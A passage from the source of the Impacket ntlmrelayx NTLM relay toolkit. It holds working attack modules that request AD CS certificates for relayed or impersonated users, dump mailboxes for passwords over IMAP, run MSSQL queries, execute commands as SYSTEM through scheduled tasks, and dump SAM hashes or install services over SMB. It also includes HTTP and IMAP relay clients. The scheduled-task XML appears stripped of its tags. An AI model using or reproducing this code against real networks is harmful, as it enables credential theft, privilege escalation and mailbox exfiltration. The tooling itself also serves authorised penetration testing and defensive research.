1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # AD CS relay attack
11 | #
12 | # Authors:
13 | # Ex Android Dev (@ExAndroidDev)
14 | # Tw1sm (@Tw1sm)
15 |
16 | import re
17 | import base64
18 | from OpenSSL import crypto
19 |
20 | from impacket import LOG
21 |
22 | # cache already attacked clients
23 | ELEVATED = []
24 |
25 |
26 | class ADCSAttack:
27 |
28 | def _run(self):
29 | key = crypto.PKey()
30 | key.generate_key(crypto.TYPE_RSA, 4096)
31 |
32 | if self.username in ELEVATED:
33 | LOG.info('Skipping user %s since attack was already performed' % self.username)
34 | return
35 |
36 | current_template = self.config.template
37 | if current_template is None:
38 | current_template = "Machine" if self.username.endswith("$") else "User"
39 |
40 | csr = self.generate_csr(key, self.username, self.config.altName)
41 | csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+")
42 | LOG.info("CSR generated!")
43 |
44 | certAttrib = self.generate_certattributes(current_template, self.config.altName)
45 |
46 | data = "Mode=newreq&CertRequest=%s&CertAttrib=%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, certAttrib)
47 |
48 | headers = {
49 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
50 | "Content-Type": "application/x-www-form-urlencoded",
51 | "Content-Length": len(data)
52 | }
53 |
54 | LOG.info("Getting certificate...")
55 |
56 | self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers)
57 | ELEVATED.append(self.username)
58 | response = self.client.getresponse()
59 |
60 | if response.status != 200:
61 | LOG.error("Error getting certificate! Make sure you have entered valid certiface template.")
62 | return
63 |
64 | content = response.read()
65 | found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode())
66 | if len(found) == 0:
67 | LOG.error("Error obtaining certificate!")
68 | return
69 |
70 | certificate_id = found[0]
71 |
72 | self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id)
73 | response = self.client.getresponse()
74 |
75 | LOG.info("GOT CERTIFICATE! ID %s" % certificate_id)
76 | certificate = response.read().decode()
77 |
78 | certificate_store = self.generate_pfx(key, certificate)
79 | LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode()))
80 |
81 | if self.config.altName:
82 | LOG.info("This certificate can also be used for user : {}".format(self.config.altName))
83 |
84 | def generate_csr(self, key, CN, altName):
85 | LOG.info("Generating CSR...")
86 | req = crypto.X509Req()
87 | req.get_subject().CN = CN
88 |
89 | if altName:
90 | req.add_extensions([crypto.X509Extension(b"subjectAltName", False, b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" % altName.encode() )])
91 |
92 |
93 | req.set_pubkey(key)
94 | req.sign(key, "sha256")
95 |
96 | return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req)
97 |
98 | def generate_pfx(self, key, certificate):
99 | certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate)
100 | p12 = crypto.PKCS12()
101 | p12.set_certificate(certificate)
102 | p12.set_privatekey(key)
103 | return p12.export()
104 |
105 | def generate_certattributes(self, template, altName):
106 |
107 | if altName:
108 | return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName)
109 | return "CertificateTemplate:{}".format(template)
110 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/attacks/imapattack.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # IMAP Attack Class
11 | # IMAP protocol relay attack
12 | #
13 | # Authors:
14 | # Alberto Solino (@agsolino)
15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16 | #
17 | import re
18 | import os
19 | from impacket import LOG
20 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
21 |
22 | PROTOCOL_ATTACK_CLASS = "IMAPAttack"
23 |
24 | class IMAPAttack(ProtocolAttack):
25 | """
26 | This is the default IMAP(s) attack. By default it searches the INBOX imap folder
27 | for messages with "password" in the header or body. Alternate keywords can be specified
28 | on the command line. For more advanced attacks, consider using the SOCKS feature.
29 | """
30 | PLUGIN_NAMES = ["IMAP", "IMAPS"]
31 | def run(self):
32 | #Default action: Search the INBOX
33 | targetBox = self.config.mailbox
34 | result, data = self.client.select(targetBox,True) #True indicates readonly
35 | if result != 'OK':
36 | LOG.error('Could not open mailbox %s: %s' % (targetBox, data))
37 | LOG.info('Opening mailbox INBOX')
38 | targetBox = 'INBOX'
39 | result, data = self.client.select(targetBox,True) #True indicates readonly
40 | inboxCount = int(data[0])
41 | LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox))
42 | #If we should not dump all, search for the keyword
43 | if not self.config.dump_all:
44 | result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword)
45 | #Check if search worked
46 | if result != 'OK':
47 | LOG.error('Search failed: %s' % rawdata)
48 | return
49 | dumpMessages = []
50 | #message IDs are separated by spaces
51 | for msgs in rawdata:
52 | dumpMessages += msgs.split(' ')
53 | if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max:
54 | dumpMessages = dumpMessages[:self.config.dump_max]
55 | else:
56 | #Dump all mails, up to the maximum number configured
57 | if self.config.dump_max == 0 or self.config.dump_max > inboxCount:
58 | dumpMessages = list(range(1, inboxCount+1))
59 | else:
60 | dumpMessages = list(range(1, self.config.dump_max+1))
61 |
62 | numMsgs = len(dumpMessages)
63 | if numMsgs == 0:
64 | LOG.info('No messages were found containing the search keywords')
65 | else:
66 | LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword))
67 | for i, msgIndex in enumerate(dumpMessages):
68 | #Fetch the message
69 | result, rawMessage = self.client.fetch(msgIndex, '(RFC822)')
70 | if result != 'OK':
71 | LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage))
72 | continue
73 |
74 | #Replace any special chars in the mailbox name and username
75 | mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox)
76 | textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username)
77 |
78 | #Combine username with mailboxname and mail number
79 | fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml'
80 |
81 | #Write it to the file
82 | with open(os.path.join(self.config.lootdir,fileName),'w') as of:
83 | of.write(rawMessage[0][1])
84 | LOG.info('Done fetching message %d/%d' % (i+1,numMsgs))
85 |
86 | #Close connection cleanly
87 | self.client.logout()
88 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/attacks/mssqlattack.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # MSSQL Attack Class
11 | # MSSQL protocol relay attack
12 | #
13 | # Authors:
14 | # Alberto Solino (@agsolino)
15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16 | # Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com)
17 | #
18 | from impacket import LOG
19 | from impacket.examples.mssqlshell import SQLSHELL
20 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
21 |
22 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack"
23 |
24 | class MSSQLAttack(ProtocolAttack):
25 | PLUGIN_NAMES = ["MSSQL"]
26 | def run(self):
27 | if self.config.queries is not None:
28 | for query in self.config.queries:
29 | LOG.info('Executing SQL: %s' % query)
30 | self.client.sql_query(query)
31 | self.client.printReplies()
32 | self.client.printRows()
33 | elif self.config.interactive is True:
34 | shell = SQLSHELL(self.client)
35 | shell.cmdloop()
36 | return
37 | else:
38 | LOG.error('No SQL queries specified for MSSQL relay!')
39 |
40 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/attacks/rpcattack.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Authors:
10 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/)
11 | # Based on @agsolino and @_dirkjan code
12 | #
13 |
14 | import time
15 | import string
16 | import random
17 |
18 | from impacket import LOG
19 | from impacket.dcerpc.v5 import tsch
20 | from impacket.dcerpc.v5.dtypes import NULL
21 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
22 |
23 | PROTOCOL_ATTACK_CLASS = "RPCAttack"
24 |
25 | class TSCHRPCAttack:
26 | def _xml_escape(self, data):
27 | replace_table = {
28 | "&": "&",
29 | '"': """,
30 | "'": "'",
31 | ">": ">",
32 | "<": "<",
33 | }
34 | return ''.join(replace_table.get(c, c) for c in data)
35 |
36 | def _run(self):
37 | # Here PUT YOUR CODE!
38 | tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
39 |
40 | cmd = "cmd.exe"
41 | args = "/C %s" % self.config.command
42 |
43 | LOG.info('Executing command %s in no output mode via %s' % (self.config.command, self.stringbinding))
44 |
45 | xml = """
46 |
47 |
48 |
49 | 2015-07-15T20:35:13.2757294
50 | true
51 |
52 | 1
53 |
54 |
55 |
56 |
57 |
58 | S-1-5-18
59 | HighestAvailable
60 |
61 |
62 |
63 | IgnoreNew
64 | false
65 | false
66 | true
67 | false
68 |
69 | true
70 | false
71 |
72 | true
73 | true
74 | true
75 | false
76 | false
77 | P3D
78 | 7
79 |
80 |
81 |
82 | %s
83 | %s
84 |
85 |
86 |
87 | """ % (self._xml_escape(cmd), self._xml_escape(args))
88 |
89 | LOG.info('Creating task \\%s' % tmpName)
90 | tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
91 |
92 | LOG.info('Running task \\%s' % tmpName)
93 | done = False
94 |
95 | tsch.hSchRpcRun(self.dce, '\\%s' % tmpName)
96 |
97 | while not done:
98 | LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
99 | resp = tsch.hSchRpcGetLastRunInfo(self.dce, '\\%s' % tmpName)
100 | if resp['pLastRuntime']['wYear'] != 0:
101 | done = True
102 | else:
103 | time.sleep(2)
104 |
105 | LOG.info('Deleting task \\%s' % tmpName)
106 | tsch.hSchRpcDelete(self.dce, '\\%s' % tmpName)
107 | LOG.info('Completed!')
108 |
109 |
110 | class RPCAttack(ProtocolAttack, TSCHRPCAttack):
111 | PLUGIN_NAMES = ["RPC"]
112 |
113 | def __init__(self, config, dce, username):
114 | ProtocolAttack.__init__(self, config, dce, username)
115 | self.dce = dce
116 | self.rpctransport = dce.get_rpc_transport()
117 | self.stringbinding = self.rpctransport.get_stringbinding()
118 |
119 | def run(self):
120 | # Here PUT YOUR CODE!
121 |
122 | # Assume the endpoint is TSCH
123 | # TODO: support relaying RPC to different endpoints
124 | # TODO: support for providing a shell
125 | # TODO: support for getting an output
126 | if self.config.command is not None:
127 | TSCHRPCAttack._run(self)
128 | else:
129 | LOG.error("No command provided to attack")
130 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/attacks/smbattack.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # SMB Attack Class
11 | # Defines a base class for all attacks + loads all available modules
12 | #
13 | # Authors:
14 | # Alberto Solino (@agsolino)
15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16 | #
17 | from impacket import LOG
18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
19 | from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
20 | from impacket import smb3, smb
21 | from impacket.examples import serviceinstall
22 | from impacket.smbconnection import SMBConnection
23 | from impacket.examples.smbclient import MiniImpacketShell
24 | from impacket.dcerpc.v5.rpcrt import DCERPCException
25 |
26 | PROTOCOL_ATTACK_CLASS = "SMBAttack"
27 |
28 | class SMBAttack(ProtocolAttack):
29 | """
30 | This is the SMB default attack class.
31 | It will either dump the hashes from the remote target, or open an interactive
32 | shell if the -i option is specified.
33 | """
34 | PLUGIN_NAMES = ["SMB"]
35 | def __init__(self, config, SMBClient, username):
36 | ProtocolAttack.__init__(self, config, SMBClient, username)
37 | if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
38 | self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
39 | else:
40 | self.__SMBConnection = SMBClient
41 | self.__answerTMP = bytearray()
42 | if self.config.interactive:
43 | #Launch locally listening interactive shell
44 | self.tcpshell = TcpShell()
45 | else:
46 | self.tcpshell = None
47 | if self.config.exeFile is not None:
48 | self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)
49 |
50 | def __answer(self, data):
51 | self.__answerTMP += data
52 |
53 | def run(self):
54 | # Here PUT YOUR CODE!
55 | if self.tcpshell is not None:
56 | LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
57 | #Start listening and launch interactive shell
58 | self.tcpshell.listen()
59 | self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell)
60 | self.shell.cmdloop()
61 | return
62 | if self.config.exeFile is not None:
63 | result = self.installService.install()
64 | if result is True:
65 | LOG.info("Service Installed.. CONNECT!")
66 | self.installService.uninstall()
67 | else:
68 | from impacket.examples.secretsdump import RemoteOperations, SAMHashes
69 | from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
70 | samHashes = None
71 | try:
72 | # We have to add some flags just in case the original client did not
73 | # Why? needed for avoiding INVALID_PARAMETER
74 | if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
75 | flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
76 | flags2 |= smb.SMB.FLAGS2_LONG_NAMES
77 | self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
78 |
79 | remoteOps = RemoteOperations(self.__SMBConnection, False)
80 | remoteOps.enableRegistry()
81 | except Exception as e:
82 | if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
83 | if self.config.enumLocalAdmins:
84 | LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
85 | enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
86 | try:
87 | localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
88 | LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
89 | for name in localAdminNames:
90 | LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
91 | except DCERPCException:
92 | LOG.info("SAMR access denied")
93 | return
94 | # Something else went wrong. aborting
95 | LOG.error(str(e))
96 | return
97 |
98 | try:
99 | if self.config.command is not None:
100 | remoteOps._RemoteOperations__executeRemote(self.config.command)
101 | LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
102 | self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
103 | self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
104 | print(self.__answerTMP.decode(self.config.encoding, 'replace'))
105 | else:
106 | bootKey = remoteOps.getBootKey()
107 | remoteOps._RemoteOperations__serviceDeleted = True
108 | samFileName = remoteOps.saveSAM()
109 | samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
110 | samHashes.dump()
111 | samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
112 | LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
113 | except Exception as e:
114 | LOG.error(str(e))
115 | finally:
116 | if samHashes is not None:
117 | samHashes.finish()
118 | if remoteOps is not None:
119 | remoteOps.finish()
120 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/clients/__init__.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # Protocol Client Base Class definition
11 | # Defines a base class for all clients + loads all available modules
12 | #
13 | # Author:
14 | # Alberto Solino (@agsolino)
15 | #
16 | import os, sys, pkg_resources
17 | from impacket import LOG
18 |
19 | PROTOCOL_CLIENTS = {}
20 |
21 | # Base class for Protocol Clients for different protocols (SMB, MSSQL, etc)
22 | # Besides using this base class you need to define one global variable when
23 | # writing a plugin for protocol clients:
24 | # PROTOCOL_CLIENT_CLASS = ""
25 | # PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc)
26 | class ProtocolClient:
27 | PLUGIN_NAME = 'PROTOCOL'
28 | def __init__(self, serverConfig, target, targetPort, extendedSecurity=True):
29 | self.serverConfig = serverConfig
30 | self.targetHost = target.hostname
31 | # A default target port is specified by the subclass
32 | if target.port is not None:
33 | # We override it by the one specified in the target
34 | self.targetPort = target.port
35 | else:
36 | self.targetPort = targetPort
37 | self.target = target
38 | self.extendedSecurity = extendedSecurity
39 | self.session = None
40 | self.sessionData = {}
41 |
42 | def initConnection(self):
43 | raise RuntimeError('Virtual Function')
44 |
45 | def killConnection(self):
46 | raise RuntimeError('Virtual Function')
47 |
48 | def sendNegotiate(self, negotiateMessage):
49 | """
50 | Charged of sending the type 1 NTLM Message
51 |
52 | :param bytes negotiateMessage:
53 | :return:
54 | """
55 | raise RuntimeError('Virtual Function')
56 |
57 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
58 | """
59 | Charged of sending the type 3 NTLM Message to the Target
60 |
61 | :param bytes authenticateMessageBlob:
62 | :param bytes serverChallenge:
63 | :return:
64 | """
65 | raise RuntimeError('Virtual Function')
66 |
67 | def sendStandardSecurityAuth(self, sessionSetupData):
68 | # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set
69 | raise RuntimeError('Virtual Function')
70 |
71 | def getSession(self):
72 | # Should return the active session for the relayed connection
73 | raise RuntimeError('Virtual Function')
74 |
75 | def getSessionData(self):
76 | # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the
77 | # answers from the original server)
78 | return self.sessionData
79 |
80 | def getStandardSecurityChallenge(self):
81 | # Should return the Challenge returned by the server when Extended Security is not set
82 | # This should only happen with against old Servers. By default we return None
83 | return None
84 |
85 | def keepAlive(self):
86 | # Charged of keeping connection alive
87 | raise RuntimeError('Virtual Function')
88 |
89 | def isAdmin(self):
90 | # Should return whether or not the user is admin in the form of a string (e.g. "TRUE", "FALSE")
91 | # Depending on the protocol, different techniques should be used.
92 | # By default, raise exception
93 | raise RuntimeError('Virtual Function')
94 |
95 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'clients'):
96 | if file.find('__') >= 0 or file.endswith('.py') is False:
97 | continue
98 | # This seems to be None in some case (py3 only)
99 | # __spec__ is py3 only though, but I haven't seen this being None on py2
100 | # so it should cover all cases.
101 | try:
102 | package = __spec__.name # Python 3
103 | except NameError:
104 | package = __package__ # Python 2
105 | __import__(package + '.' + os.path.splitext(file)[0])
106 | module = sys.modules[package + '.' + os.path.splitext(file)[0]]
107 | try:
108 | pluginClasses = set()
109 | try:
110 | if hasattr(module,'PROTOCOL_CLIENT_CLASSES'):
111 | for pluginClass in module.PROTOCOL_CLIENT_CLASSES:
112 | pluginClasses.add(getattr(module, pluginClass))
113 | else:
114 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS')))
115 | except Exception as e:
116 | LOG.debug(e)
117 | pass
118 |
119 | for pluginClass in pluginClasses:
120 | LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME)
121 | PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass
122 | except Exception as e:
123 | LOG.debug(str(e))
124 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/clients/httprelayclient.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # HTTP Protocol Client
11 | # HTTP(s) client for relaying NTLMSSP authentication to webservers
12 | #
13 | # Author:
14 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
15 | # Alberto Solino (@agsolino)
16 | #
17 | import re
18 | import ssl
19 | try:
20 | from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady
21 | except ImportError:
22 | from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady
23 | import base64
24 |
25 | from struct import unpack
26 | from impacket import LOG
27 | from impacket.examples.ntlmrelayx.clients import ProtocolClient
28 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
29 | from impacket.ntlm import NTLMAuthChallenge
30 | from impacket.spnego import SPNEGO_NegTokenResp
31 |
32 | PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"]
33 |
34 | class HTTPRelayClient(ProtocolClient):
35 | PLUGIN_NAME = "HTTP"
36 |
37 | def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ):
38 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
39 | self.extendedSecurity = extendedSecurity
40 | self.negotiateMessage = None
41 | self.authenticateMessageBlob = None
42 | self.server = None
43 | self.authenticationMethod = None
44 |
45 | def initConnection(self):
46 | self.session = HTTPConnection(self.targetHost,self.targetPort)
47 | self.lastresult = None
48 | if self.target.path == '':
49 | self.path = '/'
50 | else:
51 | self.path = self.target.path
52 | return True
53 |
54 | def sendNegotiate(self,negotiateMessage):
55 | #Check if server wants auth
56 | self.session.request('GET', self.path)
57 | res = self.session.getresponse()
58 | res.read()
59 | if res.status != 401:
60 | LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)
61 | try:
62 | if 'NTLM' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'):
63 | LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))
64 | return False
65 | if 'NTLM' in res.getheader('WWW-Authenticate'):
66 | self.authenticationMethod = "NTLM"
67 | elif 'Negotiate' in res.getheader('WWW-Authenticate'):
68 | self.authenticationMethod = "Negotiate"
69 | except (KeyError, TypeError):
70 | LOG.error('No authentication requested by the server for url %s' % self.targetHost)
71 | if self.serverConfig.isADCSAttack:
72 | LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')
73 | self.authenticationMethod = "NTLM"
74 | else:
75 | return False
76 |
77 | #Negotiate auth
78 | negotiate = base64.b64encode(negotiateMessage).decode("ascii")
79 | headers = {'Authorization':'%s %s' % (self.authenticationMethod, negotiate)}
80 | self.session.request('GET', self.path ,headers=headers)
81 | res = self.session.getresponse()
82 | res.read()
83 | try:
84 | serverChallengeBase64 = re.search(('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod), res.getheader('WWW-Authenticate')).group(1)
85 | serverChallenge = base64.b64decode(serverChallengeBase64)
86 | challenge = NTLMAuthChallenge()
87 | challenge.fromString(serverChallenge)
88 | return challenge
89 | except (IndexError, KeyError, AttributeError):
90 | LOG.error('No NTLM challenge returned from server')
91 | return False
92 |
93 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
94 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
95 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
96 | token = respToken2['ResponseToken']
97 | else:
98 | token = authenticateMessageBlob
99 | auth = base64.b64encode(token).decode("ascii")
100 | headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)}
101 | self.session.request('GET', self.path,headers=headers)
102 | res = self.session.getresponse()
103 | if res.status == 401:
104 | return None, STATUS_ACCESS_DENIED
105 | else:
106 | LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status)
107 | #Cache this
108 | self.lastresult = res.read()
109 | return None, STATUS_SUCCESS
110 |
111 | def killConnection(self):
112 | if self.session is not None:
113 | self.session.close()
114 | self.session = None
115 |
116 | def keepAlive(self):
117 | # Do a HEAD for favicon.ico
118 | self.session.request('HEAD','/favicon.ico')
119 | self.session.getresponse()
120 |
121 | class HTTPSRelayClient(HTTPRelayClient):
122 | PLUGIN_NAME = "HTTPS"
123 |
124 | def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ):
125 | HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
126 |
127 | def initConnection(self):
128 | self.lastresult = None
129 | if self.target.path == '':
130 | self.path = '/'
131 | else:
132 | self.path = self.target.path
133 | try:
134 | uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
135 | self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context)
136 | except AttributeError:
137 | self.session = HTTPSConnection(self.targetHost,self.targetPort)
138 | return True
139 |
--------------------------------------------------------------------------------
/plugins/impacket/examples/ntlmrelayx/clients/imaprelayclient.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 | # Description:
10 | # IMAP Protocol Client
11 | # IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange
12 | #
13 | # Author:
14 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
15 | # Alberto Solino (@agsolino)
16 | #
17 | import imaplib
18 | import base64
19 | from struct import unpack
20 |
21 | from impacket import LOG
22 | from impacket.examples.ntlmrelayx.clients import ProtocolClient
23 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
24 | from impacket.ntlm import NTLMAuthChallenge
25 | from impacket.spnego import SPNEGO_NegTokenResp
26 |
27 | PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"]
28 |
29 | class IMAPRelayClient(ProtocolClient):
30 | PLUGIN_NAME = "IMAP"
31 |
32 | def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ):
33 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
34 |
35 | def initConnection(self):
36 | self.session = imaplib.IMAP4(self.targetHost,self.targetPort)
37 | self.authTag = self.session._new_tag()
38 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))
39 | if 'AUTH=NTLM' not in self.session.capabilities:
40 | LOG.error('IMAP server does not support NTLM authentication!')
41 | return False
42 | return True
43 |
44 | def sendNegotiate(self,negotiateMessage):
45 | negotiate = base64.b64encode(negotiateMessage)
46 | self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF))
47 | resp = self.session.readline().strip()
48 | if resp != '+':
49 | LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp)
50 | return False
51 | else:
52 | self.session.send(negotiate + imaplib.CRLF)
53 | try:
54 | serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char
55 | serverChallenge = base64.b64decode(serverChallengeBase64)
56 | challenge = NTLMAuthChallenge()
57 | challenge.fromString(serverChallenge)
58 | return challenge
59 | except (IndexError, KeyError, AttributeError):
60 | LOG.error('No NTLM challenge returned from IMAP server')
61 | raise
62 |
63 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
64 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
65 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
66 | token = respToken2['ResponseToken']
67 | else:
68 | token = authenticateMessageBlob
69 | auth = base64.b64encode(token)
70 | self.session.send(auth + imaplib.CRLF)
71 | typ, data = self.session._get_tagged_response(self.authTag)
72 | if typ == 'OK':
73 | self.session.state = 'AUTH'
74 | return None, STATUS_SUCCESS
75 | else:
76 | LOG.error('IMAP: %s' % ' '.join(data))
77 | return None, STATUS_ACCESS_DENIED
78 |
79 | def killConnection(self):
80 | if self.session is not None:
81 | self.session.logout()
82 | self.session = None
83 |
84 | def keepAlive(self):
85 | # Send a NOOP
86 | self.session.noop()
87 |
88 | class IMAPSRelayClient(IMAPRelayClient):
89 | PLUGIN_NAME = "IMAPS"
90 |
91 | def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ):
92 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)
93 |
94 | def initConnection(self):
95 | self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort)
96 | self.authTag = self.session._new_tag()
97 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))
